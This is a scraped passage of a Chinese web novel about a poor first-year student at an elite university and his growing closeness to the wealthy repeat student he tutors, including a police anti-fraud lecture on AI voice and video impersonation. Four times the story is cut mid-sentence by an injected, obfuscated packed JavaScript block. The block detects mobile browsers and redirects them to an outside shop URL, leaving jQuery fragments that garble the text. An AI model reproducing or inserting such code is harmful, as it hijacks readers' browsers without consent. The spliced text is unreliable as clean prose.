仿佛头顶炸响一道惊雷,向天问像瞬间被烤熟了一样,从脖子到脸烧腾起来。 “我是绝对不会容许蔡衍嘉拍拖的。”蔡老爷子的话音犹在耳,又如冷水浇头。 他赫然意识到,这话不是说给别人听,而是在敲打他! 所以,连老季都看出他对蔡衍嘉揣了那种心思?呃……向天问顿觉无地自容,恨不能一头钻进……可这大豪宅连条地缝都没有,他避无可避,只能硬着头皮自我鞭挞。 蔡老爷子对他礼遇有加,他却饱食终日、无所作为,甚至还起了“歹心”,还算是个人吗? 向天问啊向天问,能吃饱饭才几天,你怎么就堕落成这样?他陷入深深的自责之中,半晌才缓过来。 抬头却见蔡衍嘉这个缺心眼儿的家伙,还在一脸傻笑地把玩手腕上的皮筋。向天问满心酸楚,却舍不得夺走蔡衍嘉脸上的笑容,最终一句清醒的话也说没出口,生生把诸般甜苦通通咽回肚里去了。 没过几天,向天问收到家里转寄来的录取通知书,与蔡衍嘉朝夕相对的日子挂上了倒计时。 自从戴上小皮筋,蔡衍嘉乖了不少,不再闹着出去吃喝玩乐。高一的数学课本已经讲过一遍,高二数学难度陡增,他们开始把主要精力放在数学上,穿插着英语和语文的真题模拟作为放松消遣。每天学习、健身,傍晚去江边散散步,日子过得充实又自在。 碍于老季的监视和老爷子的警告,两人不敢再有过分的身体接触。偶尔在外面走到没人的地方,蔡衍嘉借口困了或累着,扑在他身上赖一会儿,仅此而已。 时光匆匆如流水,日子过得实在太快了,录取通知书上的报道日终于来临。 向天问一大早打好了铺盖卷,原本打算趁蔡衍嘉没起床就出发。出门前,蔡衍嘉适时冲出来,胳膊伸得老长。 “向老师,我好舍不得你啊!”蔡衍嘉扑进他怀里,抱着他左摇右晃。 老季还在旁边站着呢,向天问面露几分不自然,低声哄他道:“有什么好舍不得的?只是不住你家了,还是要每天来辅导你三小时的。” “可我就不能一醒来就看到你了啊!”蔡衍嘉唉声叹气,“哎,就不能不住校吗?” “一大早有课的话,来不及赶到学校的。”老季插嘴催促道,“早晚高峰通勤至少要一个小时。衍嘉少爷,你就别折腾向老师了。” “今天就只是报到,下午没什么事的话,我就回来了。”向天问用尽量轻快的语气说完,赶紧松开手走了。 真正置身于梦中的最高学府时,那种踏实又兴奋的幸福感,令向天问得以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646970|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时放下关于蔡衍嘉的复杂心绪。在体育馆现场人脸识别确认后,余下的注册手续大部分都在手机上操作完成。 他手拿住宿单,跟着志愿者来到宿舍,见到了比他还早到的一名室友。 这人名叫蒲玉琢,和向天问一样,也是贫困县出身的当地高考状元。蒲玉琢长相还算清秀,个子也不矮,有一米八左右,但身材干瘦,还有点轻微的驼背。与向天问满头硬刺短发不同,蒲玉琢的发质细软,额前刘海儿贴着头皮,好像很久没洗头一样。 两人聊了几句各自的高考成绩和录取经历,自然很有共鸣,很快熟络起来。 协助向天问布置好床铺后,蒲玉琢说自己已经加到班级辅导员的微信,要去院办看看有没有什么能帮上忙的。 “听学长说,一开始帮老师做事的临时负责人,军训过后竞选的时候有很大的机会当班长。”蒲玉琢大大方方说出自己的“小算盘”,反倒让向天问觉得这个人老实、能处。 可向天问答应蔡衍嘉“没什么事就回去”,要是真在院办干上活儿,一时半会儿走不开怎么办。他正纠结摇摆,蒲玉琢鼓动他道:“一起去吧,在这儿干坐着也没意思。” 他没有理由拒绝,只好跟着一起去。刚走出宿舍楼,手机就响了。 是蔡衍嘉打过来的语音电话。向天问接起来,听见电话那头熟悉的一声“向老师”,他心口突突直跳,赶紧捂着听筒快走几步,把蒲玉琢甩在身后。 “报完到了吗?见到同学了吗?你住几楼啊?有没有发纪念衫?有没有拍入学照啊?”蔡衍嘉一股脑儿问出一长串互不相干的问题,向天问都不知道从哪一句答起,只好说:“报到就是现场确认一下,刚在宿舍安顿好。你两张卷子都做完了?” “没有啊。”蔡衍嘉的声音懒洋洋的,一听就知道根本没在书桌前好好坐着,“我发现这份数学卷子里的大题目都是你讲过的,还有必要再做一遍吗?” “讲过的你就能全做对吗?”向天问叹了口气,“昨天怎么跟我保证的?这才第一天,你就开始糊弄我了?” 蔡衍嘉哧哧笑了两声:“骗你的啦,我都做完一份了!就是想问问你报到的情况嘛。” “真的吗?你把做好的拍下来发给我。”向天问压低声严肃道,“中午吃过饭别急着躺,先把英语卷子写了再睡。” “Alright,Daddy!”蔡衍嘉坏笑着挂断电话。 向天问迅速管理好表情,回到蒲玉琢身边。 “女朋友啊?”蒲玉琢随口问道,“异地的吗?” “不是不是不是!”向天问慌忙否认,反应太大,蒲玉琢惊讶地扭头看了他一眼。 他赶紧找补道:“是我做家教带的学生,不是很自觉,要人盯着呢,呵呵。” 蒲玉琢咧嘴一笑,露出两颗尖尖的虎牙:“是吗?那为啥接个电话像做贼一样,不是偷偷摸摸早恋养成的习惯吗?” 正在这时,蔡衍嘉发来几张卷子的照片,向天问举起手机展示给蒲玉琢:“喏,真是学生,这是他做的……” 话还没说完,手机上又弹出一张照片,是蔡衍嘉穿着几乎透明的白色高弹短裤,坐在落地镜前的自拍,两条大长腿都快从手机里伸出来了。 “今天是leg day,早点儿回来帮我拉腿哦!” 30. 第30章 向天问大惊失色,慌忙在屏幕上一通乱点,试图退出微信。 “哈哈,这人好会呀!”蒲玉琢两手插在裤兜里,笑弯了腰。 向天问赶紧撇清:“不不……我不是……他这人就是……没什么边界感!” 蒲玉琢笑道:“你不是什么?我又没说你是。男同是这样的,成天想着怎么攻略直男。” 向天问听了这话,又不高兴了,心想,男同招你惹你了?随随便便给人贴标签! 他们来到院办,蒲玉琢找到负责学生工作的老师办公室,礼貌地自报家门,问有没有什么可以做的。 学工处老师给他们一份名单,请他们带到宿舍让同学们签到,并核对军训请假情况和军训服尺码。 蒲玉琢十分老练,立刻就问:“老师,女生的名单也在这里吗?我现在去报名现场看看我们班女生谁来了,请她带到女生宿舍去。明天人来齐了,我汇总了一起交给您。” 那位老师便给了蒲玉琢另一份名单,又问了一遍他叫什么名字、是哪里人,满意地直点头。 目睹整个过程的向天问大为震撼:这就是传说中的“会来事儿”吧!这人天生就是当学生干部的料,不服不行。 从院办出来,蒲玉琢像会读心术一样,笑着对向天问说:“这个表格,晚上等人来得差不多了,我去各个宿舍走一圈就办了。下午应该没啥事儿,你可以回去‘拉腿’了。” 他这么一说,向天问更不好意思走了,只好说:“去体育馆吧,我看迎新那边儿挺忙的,去搭把手。” 于是两人来到体育馆加入迎新志愿者的行列,一趟一趟把新同学往宿舍带。中午吃过学院发的盒饭,下午来的人更多了,一直忙到五点多,向天问渐渐抓耳挠腮。 再不走就来不及了,来回通勤还得一个多小时呢。 学生会的人来点晚餐盒饭的人头,他赶紧说别算上他、他一会儿还有事。 蒲玉琢听见又笑,拍拍他肩膀道:“宿舍晚上十点半关门,别忘了哦,向同学。” “啊,是是。”向天问欲盖弥彰似的解释,“人家是按一天三小时付工资,我得干够时长。”说完拔腿就跑。 晚高峰的地铁站人头攒动,向天问见缝插针,一路拨开人堆往前挤,风风火火赶到蔡衍嘉家时,身上的T恤都湿透了。 “向老师!”蔡衍嘉兴高采烈地从餐厅迎出来,筷子头叼在嘴里,“我以为你不来了呢,发信息你都不回!” “地铁上人太多了,没听到。”向天问用手指拎着胸前的布料扇风,气喘吁吁地说,“我先冲一把,你吃,别等我。” 蔡衍嘉才不听他的话,非但等,还站在浴室门口等,边等边问他学校里的事,一分钟也舍不得浪费。 洗完澡回到餐厅,刚端上碗,向天问的手机响了。还好,不是学校有事,是他姑姑打来的。 “今天开学了?报到顺利吧?和同学好好处,少跟人说你家里的事儿,别叫人瞧不起咱,嗯?”姑姑叮嘱他几句,又说道,“天问,家里有喜了!你姐在厂里碰到个小伙,谈上了,是河对面下商村的,俩人说过年回来办事,你看你能来不?” “老规矩是要娘舅把新娘子背出门,你爸那样,只能你替他背了。但是太远了,你回来一趟不容易,你姑父不让我告诉你,怕耽误你事……” 向天问赶紧答应:“我姐结婚我肯定回去啊!不耽误,放寒假我就回家。” 他姐比他大五岁,最开始是他姐拉着他手,把他送到五里山路外的小学校上一年级。没过几年,他姐初中毕业没考上高中,就去省城打工了。再后来,南方一个对口支援城市招工,他姐就去那边的工业园区进厂,每年只有过年才回来几天。 挂断电话,向天问回到桌旁拿起筷子,耳朵比狗都灵的蔡衍嘉立刻说:“你也有姐姐啊,向老师?” “嗯,我姑家的表姐。”向天问说完,看见蔡衍嘉一脸兴奋的模样,就知道这货又在想什么心思了。 “你姐姐结婚,你要当伴郎吗?”蔡衍嘉两眼直放光,“你给她准备什么礼物?伴郎服是suit还是Tuxedo?婚礼是什么色系的?” 向天问摇头道:“什么‘色系’?村里结婚就是搭个棚子、吃流水席。不是伴郎,我是娘家人,我要背我姐出家门,把她送上接亲的车。” “我在夏威夷参加过‘村里’的婚礼,可好玩了!大家一起吹海螺、跳舞,前一天晚上还偷偷去把新郎抬着扔海里……”蔡衍嘉越说越激动,放下筷子比手画脚的。 “你不能去,和你没关系。也不要你的钱。”向天问预判到蔡衍嘉接下来的反应,抢先回答道。 蔡衍嘉果然失望地撇了撇嘴,重新拎起筷子。又眉头一皱,计上心来:“你们村在哪儿啊,发个定位我看看?” “诶,别闹。”向天问赶紧转移话题,“不过我确实得准备礼物,钱他们肯定不要。也不知道一般娘家人送什么礼物。” “房子啊,车子啊!”蔡衍嘉又来劲了,“我表姐结婚,我们送一套洛杉矶的学区房。”想想觉得不对,又补充道:“也可以不送这么大的。买幅画,或者珠宝首饰,心意到了就好。” 向天问心想,估计你的一幅画也值一套房了,真是多余有此一问。 老季笑道:“不好意思,我插一句嘴。衍嘉少爷你不知道,各地农村都有一套固定的结婚习俗,娘家人、婆家人要送什么东西,都是有讲究、有说法的。等向老师问清楚了,需要什么,你再帮忙准备不迟。” “哦哦,好,我懂了。”蔡衍嘉点点头,“向老师,你让你姑妈列个清单,我们一起采购。” 向天问心想,我家里人结婚,和你有啥关系呢?一天天心思不花在学习上,什么热闹都想凑。 “再说吧,还早呢。”他冲蔡衍嘉抬抬下巴,“快吃,今天时间有点紧。” 饭罢,向天问刚想说让蔡衍嘉先练会儿字、他趁这工夫把两张卷子批改出来,蔡衍嘉却神神秘秘地拉着他进房间,还转身把门反锁上了。 “向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646971|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师,开学了,祝贺你成为大学生!送你一件礼物——”蔡衍嘉从床头拿出一个长方形的盒子递给他。 向天问第一反应当然是“不要”,可蔡衍嘉兴奋地目光闪闪、小脸通红,他不忍心扫兴,只得接过来。 “看看喜不喜欢呀,向老师!”蔡衍嘉挑眉催促道。 打开翻盖的盒子,里面是个透明的圆柱形物体。保温杯?还是双层的。向天问仔细打量,发现这杯子没有盖,顶上敞开一个不小的洞。 “高科技吗?”他抬头问蔡衍嘉,“这怎么用?” 蔡衍嘉睁大眼睛、半张着嘴:“就……那样用呗!这还要我教你吗,向老师?”说着,手虚虚握着,在身前比划了两下。 向天问拿着那东西翻来覆去,看了又看,结合蔡衍嘉那个十分可疑的动作……他忽然明白过来。 “我不要!”他把“保温杯”往床上一扔,转身就走。 “诶诶,向老师——”蔡衍嘉拉住他不放,“你总是憋着,对身体不好的;而且动不动就凸,被人看见多尴尬呀,别人会觉得你……” “你少管我!”向天问恼羞成怒,一下子炸了,“你以为谁都和你一样,成天琢磨这些下流的事!吃饱了撑的吧!” 轻佻的笑容僵在脸上,蔡衍嘉的眉眼、嘴角一齐耷拉下去,委屈地低下了头。 向天问猛地拉开房间门,窜进来的风吹得蔡衍嘉浑身一抖。 每次他一发火,蔡衍嘉就格外乖怂。练字、订正、听向天问讲题、默写昨天背的范文,足足两个半小时,蔡衍嘉一句废话都没有,让干什么就干什么,效率高到不可思议。 可向天问却愈发焦灼,每隔几分钟就抬头看一眼墙上的挂钟,急得心里直犯毛。 他看得出,蔡衍嘉很不开心,可他没有时间了。 宿舍门禁22:30,这意味着他最迟22:15要回到学校门口;从蔡衍嘉家出发,走到地铁站台要10分钟,等列车进站最长5分钟,坐地铁15分钟到京大门口。 也就是说,他最迟21:45要从蔡衍嘉家出发。稳妥一点儿的话,21:30就得走了。 眼看着时针划过数字9,分针渐渐逼近半点,蔡衍嘉却始终低着头一言不发,看都不看他一眼。 他不知道怎么开口,该道歉吗,还是该说几句软话缓和一下?他恨自己没有幽默细胞,连句打破僵局的玩笑话都不会说。 21:40一过,向天问绝望地叹了口气,起身说:“到点了。明天要做的试卷我给你放在这儿了。我走了。” 蔡衍嘉也站起来,跟在他身后送他到门口,仍是低着头、一句话也不说。 沉重的大门在身后上锁,向天问用力按了两下电梯按钮,电梯上方屏幕上的数字快速跳动:1,2,3,4,5,……28,29,30…… 叮,电梯到了。 可就在电梯门划开的瞬间,向天问却突然放弃了挣扎。 嗐,算了!他叹了口气,转身走向那扇红铜大门。 31. 第31章 向天问刷指纹重新开启大门,只见蔡衍嘉仍呆呆站在门里,满脸讶异地瞅着他。 “你今天出门散步了吗?”这是他在电梯开门的瞬间,灵光一现想出的“破冰词”。 蔡衍嘉摇了摇头,向天问没空啰嗦,直接发出指令:“换鞋。” 两人前后脚走进电梯,向天问掏出手机看时间,刚好21:45。 可还没等他说出道歉的话,蔡衍嘉就抢先开口:“向老师,你是不是,不想继续教我了?” 啊?向天问被问得措手不及,他的确还没来得及细想开学后的安排。 “老季说,你从京大过来一趟要一个小时。等你开始上课、忙起来之后,就不能每天来辅导我了?寒假你也要回老家,所以……”那双漂亮的眼睛笼起两湾阴霾,“那我怎么办?” 原来这货不是在为挨骂伤心,是在担心以后的事?向天问赶紧给他吃一颗定心丸:“是我让你不去上复读班的,我当然会负责到底。” “时间不是问题,等课表发下来再看。上午有课,我就下午过来;下午、晚上有课,我就上午过来。还有周末呢……” 话还没说完,胸口就挨了一拳。蔡衍嘉脸上哀伤的神色瞬间荡然无存,换成一副得理不饶人的蛮横嘴脸:“那你干嘛不回我信息?还骂我?!” 刚才那副可怜巴巴的模样、看起来都快哭了,原来又是演的!向天问拳头都硬了,却又憋不住想笑。 “你发的那是什么?你想让我回什么?”向天问反问道,“我正看卷子呢,下一张你的大脚丫子都快伸我脸上了!” 蔡衍嘉靠上来抱住他腰,嘿嘿地笑:“不喜欢吗?我拍了几十张、精心挑选的呢!” 电梯到一楼,门开了,向天问赶紧把人推开。 “我要坐22:00那趟地铁,不然赶不上宿舍门禁。”他加快脚步,回头对蔡衍嘉说,“你在小区里跑两圈,别走远了。我到宿舍就联系你,看你有没有回家。” 蔡衍嘉大步跟上:“我送你去地铁站吧,向老师。万一赶不上,就别回去了。” 蔡衍嘉陪他通过安检,一直送到闸机口。再不说来不及了,向天问一边在手机上找乘车码,一边低声道:“对不起,我不该说那么难听的话……思想肮脏的人是我。”说完赶紧刷码通过闸机,不给彼此尴尬对视的机会。 跑到扶梯口,他下意识地回头看了一眼,蔡衍嘉仍站在闸机外冲着他笑。 此后这个笑容无数次出现在他的梦里,直到很多年后,每当他想起蔡衍嘉,眼前总会浮现出这平平常常却又刻骨铭心的一幕。 开学典礼的后一天,军训正式开始了。向天问身高拔群,人也精神板正,往那一站就是个兵,因此第一天就被选为排头,站在方阵的第一行第一列。 他们这队的教官是个老油条,常常借口“有事请示连长”、“开个短会”,跑去找别的教官聊天,还把口令和要练的队列动作教给向天问,让他带着方阵走。 向天问自己丝毫不觉得苦,这点儿强度和烧锅炉、扛水泥比算啥呀,可班上有些同学确实吃不消。所以每次教官一走开,他就把队伍往树荫和操场周围建筑物投下的阴影里带;甚至还有样学样,假装不知道接下来要练什么,自己满操场找教官请示,趁机让同学们稍息一会儿。 每天军训结束的哨声一响,他撒腿就往校外跑。18:15赶到蔡衍嘉家冲澡、吃饭,进行三个小时的高效辅导,然后拿上洗干净、烘干的军训服,21:40准时返程。 向天问很快适应了这种争分夺秒的生活节奏,晚上回到宿舍,还能有空拿本新发的教材当睡前读物看看,他已经很满足了。 可蔡衍嘉没过几天就开始“失控”了。 这天他刚吃完午饭,正要躺一会儿,就收到蔡衍嘉发来的上午的任务——五道立体几何大题。他发现这货一道都没做对,非但如此,最后一题甚至空了两问,一大半分数直接放弃了。 他打语音电话过去,等了快半分钟,蔡衍嘉才终于接起来。 “昨晚讲过的题,换几个字母就不会了?”向天问听见电话那头欢快的音乐和咔咔咔按键的声音,质问道,“你一早上都在干什么?打游戏吗?” “没有啊!”蔡衍嘉的声音懒散得要命,“我吃完饭才开机的。你不是说中午可以适当玩一会儿的吗,向老师?” 向天问咬紧后槽牙道:“你给我关掉!去重做!” “不是还要做阅读理解、背文言文吗?那我就没时间午休了?”电话那头,蔡衍嘉居然还有脸唧唧歪歪。 向天问手按额头、强压火气,压低声道:“你先把这五道题重做一遍,晚上我们要订正;然后背《六国论》,时间不够的话阅读可以不做。” “哦。跑完这局……” “给我关掉,现在!”向天问没忍住,声音大了点儿,同宿舍几个人纷纷扭头看他,他赶紧挂断电话,连声抱歉。 几分钟后,蒲玉琢突然说:“哥几个还没睡着吧?学院通知今晚六点半开班会,我马上发群里。” 向天问无奈捶了捶脑袋,赶紧给蔡衍嘉发信息,说晚上有班会,可能赶不过去了,到时候看情况。 蔡衍嘉回复了一个黑人假笑说“fine”的表情,向天问心里大呼完蛋,他要是不去,这货今天铁定放羊。 晚饭后,向天问和宿舍另外三人一起来到学院小报告厅,这次班会的主题是竞选班委。 经过这几天的了解,向天问才知道他们这个理科实验班有多少大牛。十几个竞赛金牌得主、二十几个各省市状元,还有那种会几门外语和乐器、除了学习之外连音体美也很厉害的天赋怪,远不是他这种“做题家”能望其项背的。 因而他根本没想过参与竞选。再加上涂玉琢从开学第一天就担任临时负责人,忙前忙后有目共睹,当选班长毫无悬念。他坐在下面,只是焦急地盼望快点儿走完流程,说不定还有时间赶去骂蔡衍嘉一顿。 可没想到,有人自发提名他。唱票的同学在他的名字下面画了一个又一个正字,他竟然以三票的优势超过涂玉琢,当选为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646972|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班长! 这种状况实在是始料未及,在同学们的掌声和起哄声中,他为难地看向涂玉琢。涂玉琢却冲他点头、卖力鼓掌,看上去似乎比他自己还开心。 同宿舍另一个同学拍了拍涂玉琢肩膀,不无惋惜地嘀咕道:“没办法,哥们儿,这是一个看脸的世界。” 向天问本来就不想当这个班长,哪还听得了这种话?他立即站起来走上前台,朝下面鞠了一躬。 首先表达惊讶、惶恐,然后说衷心感谢大家的信任,可他确实有心无力。 “因为家庭条件的关系,我找了一份家教的工作,辅导一个学生备战高考。他是个复读生,之前上复读班的时候,心理状况出了点问题,所以现在休学在家。”向天问解释道,“家长把学生托付给我,工资也预支了,我得履行承诺、负责到底,不能辜负人家的信任。” “我内心特别想为大家、为我们这个集体服务,绝不是怕苦怕累。但我每天要辅导学生三个小时,来回通勤还要一个多小时,确实没有时间精力再担任班委的工作。实在没办法,请同学们谅解。” 向天问说完,又深深鞠了一躬。 他弃权后,得票数第二的涂玉琢顺理成章成为班长,剩下的班委成员也依次产生。大家鼓掌通过,班委们挨个儿上台表态。 向天问心里愈发焦急,一次次拿出手机来看时间,却不好意思在众目睽睽之下提前离开。熬到终于散会的时候,已经19:40了。 他竞走似的直往外冲,边走边盘算,现在开始往地铁站跑的话,到蔡衍嘉那儿最早也要20:30,只能再辅导一个小时;可来回路程加起来都一个多小时了,跑这一趟划不划算、还有没有必要? 可他心里早已有了答案,因此一走到大路上,他先深深吸一口气,然后甩开膀子、以百米冲刺的速度狂奔起来。 跑了几分钟,已经能远远望见校门了,却有一辆有些眼熟的黑车,在他身旁的路边突然减速。 车窗缓缓落下,蔡衍嘉伸出脑袋,冲他油腻挑眉:“Hey,帅哥,跑这么快,约会要迟到了吗?” 那双黑曜石般的双眸在路灯的映照下如流金般璀璨,向天问肾上腺素飙升,心跳的声音震动鼓膜。 他弓着腰,两手撑住大腿,喘得几乎说不出话来:“你们……怎么……进来……” “中午一收到你的消息,老季就找京大校友会的人帮忙登记了进校车牌。”蔡衍嘉推开车门,冲他甩了下头,“上车吧,向老师。” 向天问坐上车,歪头将汗水擦在肩头衣料上,接过蔡衍嘉递来的冰水,吨吨吨直往嗓子里灌。 车径直往校园里开,他想,要给蔡衍嘉讲题,在教室和宿舍都会打扰别人,不合适;图书馆里的讨论室要提前预约,现在去肯定没空位。实在不行只能去食堂的夜宵档口了。 他正想给老季指明食堂的方向,车却停在了“燕园宾馆”楼前。 老季扭头递给蔡衍嘉一张卡:“衍嘉少爷,房间开好了,6008,我在楼下大堂等你们。” 32. 第32章 燕园宾馆是京大举办学术会议、接待来宾用的校内酒店。路过前台时,向天问看了一眼墙上的“客房价目表”,发现最便宜的一档也要900多块钱,心疼得直皱眉。 “不早说你要来?我提前约个自习室就好了。”一进门,他就忍不住念叨起来,“订这么大个房间又不住,这不是乱花钱吗?” 蔡衍嘉从肩上卸下书包,张开双臂向他扑过来:“我想多和你待会儿嘛,向老师!这阵子你每天都匆匆忙忙的,说不了几句话就走了……” 向天问担心穿了一天的军训服有味儿,只得推开他:“还没洗澡呢,别挨你一身汗。” 蔡衍嘉却从书包里掏出一袋东西:“我帮你带了小裤裤和睡衣来哦,酒店里有洗衣房,可以把你的军训服洗了烘干。” 反正以往到蔡衍嘉家也是先洗澡换衣服,向天问没多想,接过衣服就进浴室去了。 十分钟后,他边擦头发边走出来,立刻留意到些许不寻常之处。 刚才他脱下来扔在浴室门后的军训服T恤,莫名其妙跑到床头那边去了;蔡衍嘉若无其事地坐在床上望呆,脸上却挂着不正常的潮红。 最可疑的是,蔡衍嘉的T恤下摆一半塞在裤腰里,显然是匆忙中刚把裤子提上,还没来得及整理。 这货怎么也喜欢干这事?向天问不好意思说破,只得咬牙装没看见,可蔡衍嘉躲避他视线的心虚模样简直太过明显,分明已经看出他知道了。 敲门声将两人从尴尬中解救出来,蔡衍嘉指指门口说:“我叫了room service,脏衣服用柜子里的洗衣袋装好,洗好了他们会送过来。” 不知怎么的,原本窝了一肚子的火、有好多批评的话想说,这会儿终于见着人了,向天问却突然块垒全消,一点儿脾气也没有了。 两人坐在套房的大办公桌前,他给蔡衍嘉讲解那五道大题考了哪些知识点、每个知识点在教材的哪个位置,把相关的基本概念和定理又过了一遍。 两个小时很快过去,抽背了几句《六国论》的重点段落后,向天问站起来收拾桌上材料,准备走了。 这时,蔡衍嘉突然从书包里掏出一张英语卷子:“向老师,其实我阅读理解也做了呢,要订正一下吗?” “来不及了,明天吧。你早点儿回去,我走了。”向天问脱下睡衣,换上服务员刚送来的、还热烘烘的军训服。 才把裤子穿上,蔡衍嘉就从背后抱了上来,把脸埋在他肩头哼哼唧唧地说:“啊啊啊向老师,你别回宿舍了,好不好?我会想你的。” “不是天天见吗,有什么好想的?”向天问无奈地笑笑,把蔡衍嘉的胳膊从自己腰上扳开。 话虽如此,其实他心里知道,天天见,也还是会想的。 这些天,当他头顶烈日站军姿的时候,在熙熙攘攘的食堂排队打饭的时候,和同学们闲聊说笑的时候,甚至走路的时候、刷牙洗脸的时候,心里都无时无刻不想着蔡衍嘉。 这个家伙有没有起床、早饭有没有按时吃,午饭是不是又不吃蔬菜只吃肉;题做完了吗、有没有偷偷看答案;午休的时候是不是又偷偷用“小玩具”……蔡衍嘉或俏皮或委屈的可爱模样,像一个怎么也关不掉的程序,一直在他的“后台”运行。 他甚至能理解蔡衍嘉学不下去的心情,因为他也一样。习惯了天天黏在一起的人,一旦见不到了,就好像有什么重要的东西突然丢失,莫名烦躁、心慌,对周围的一切都失去耐性、提不起兴趣,这种感觉太折磨人了。 走出门前,他忍不住停下脚步,回过头去张开双臂,冲蔡衍嘉抬了抬下巴。 蔡衍嘉像屁股上装了弹簧一样,从床上一跃而起,飞扑进他怀里。 心里那块缺口倏地被严丝合缝地填满,踏实了,舒坦了,整个世界都拨乱反正了!向天问合拢双臂,在蔡衍嘉颈间偷偷猛吸一口,却又觉得自己很卑鄙,转而陷入深深的自怨自艾之中。 蔡衍嘉不想在这里过夜,于是收拾了书包,和他一起下楼。 “向老师,你别住宿舍了吧,好不好?”电梯里,蔡衍嘉一直在他耳边嘀咕,“省下来的住宿费,又能提前还款啦!你要是觉得我家太远、不方便,就让老季在这个酒店签一间长住房……” “诶,别闹。”向天问赶紧打断他,“学校不允许随便退宿。” 好好的宿舍不住,住上千块钱一晚的校内酒店?这要是传出去,他在京大可就出名了。甚至今天他来燕园宾馆的事,都不能让别人知道! 于是他果断拒绝老季开车送他回宿舍的提议,一溜烟儿跑了。 此后的日子便如流水,转眼军训就结束了,向天问不必再每晚与时间赛跑。课表发下来后,他大松一口气。 周二下午和晚上有课,上午可以去找蔡衍嘉;周三早八上完后一整天都是空闲;周四、周五上午四节,下午晚上有大把时间;唯独周一比较麻烦,上午下午都有课,晚上则是固定的班会时间,完全脱不了身。 不过这样也好,总不能一天假都不给人家放。周末两天集中学习之后,周一正好让蔡衍嘉放松放松,调整一下心情。 正式上课的前一天晚上,最后一次开学教育是安全讲座。 大屏幕上播放着警方提供的警示案例,提醒他们警惕什么招瓢、果聊、刷单的骗局。下面的同学们完全不感兴趣,都在低头玩手机。 直到一位反诈刑警上台发言,说同学们不要觉得高智商、高学历人士就不会成为诈骗案受害者,你没有被骗,只是还没遇到为你量身定制的骗局。 同学们都笑了,警察叔叔又说,即便你们本人有足够的分辨能力,犯罪分子也可能会盯上你的家人,利用你父母、祖辈对你的关心实施诈骗。 “AI技术日新月异,犯罪分子可以通过你发在社交媒体上的照片和视频,收集你的头像和声音,利用AI影像编辑技术、声纹模拟技术,冒充你给你父母打电话、甚至打视频,编造事由索取财物。”民警说,“大家不要觉得这是什么高精尖的技术,其实做这些东西成本很低……” 接下来一幕令向天问毛骨悚然。大屏幕上出现一段像是在人声嘈杂的医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646973|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里拍摄的视频,屏幕里的人竟是他自己! “妈,我被车撞了,腿好像断了,现在正在医院等片子,医生说可能要手术……我的手机摔坏了,银行卡在钱包里,没带出来,你直接把钱打到医院这个账户上……”视频里的“向天问”一脸痛苦焦急,镜头带到他血迹斑斑的右腿,简直触目惊心。 “我们技术侦缉科的同事,在来这里的路上随机挑选了一名同学,以问路的名义采集到他的图像和声音。用AI技术制作这样一条视频,只需要十几分钟时间!” 这下终于成功引起这群天之骄子的注意,同学们纷纷扭头看向向天问,交头接耳议论起来。 向天问呆若木鸡,这是他第一次听见“自己”叫“妈”。 警察带领同学们用掌声请他上台,问了他的姓名,首先向他表示歉意、保证不将他的数据挪作他用,还请他展示自己完好无恙的右腿,引来台下一片掌声和笑声。 “向同学,我想请你回答一个问题:假如我们把这段视频发给你妈妈,她会不会一时心急,就按照诈骗分子的要求转账?”警察循循善诱,显然是想让他配合宣传。 他总不能说“我没有妈”,只好连连点头,说“会”。 讲座结束后,几位警察与他握手、再三表示感谢。那位找他“问路”的技侦刑警,敏锐地留意到提及“妈妈”时他的些微迟疑,问起他母亲的情况。 因为他爸爱惹事,这些年向天问不知受过警方多少关照和帮助,他觉得没必要隐瞒,就把母亲失踪多年、自己从来没见过妈妈的情况如实说了出来。 那位技侦人员说:“你们当地公安有没有采集你的血样?可以在失踪人口数据库里上传信息、进行对比,说不定能有线索。虽然是大海捞针,但也不是没有成功的案例。有时间的话,可以来我们大队开个单子。” 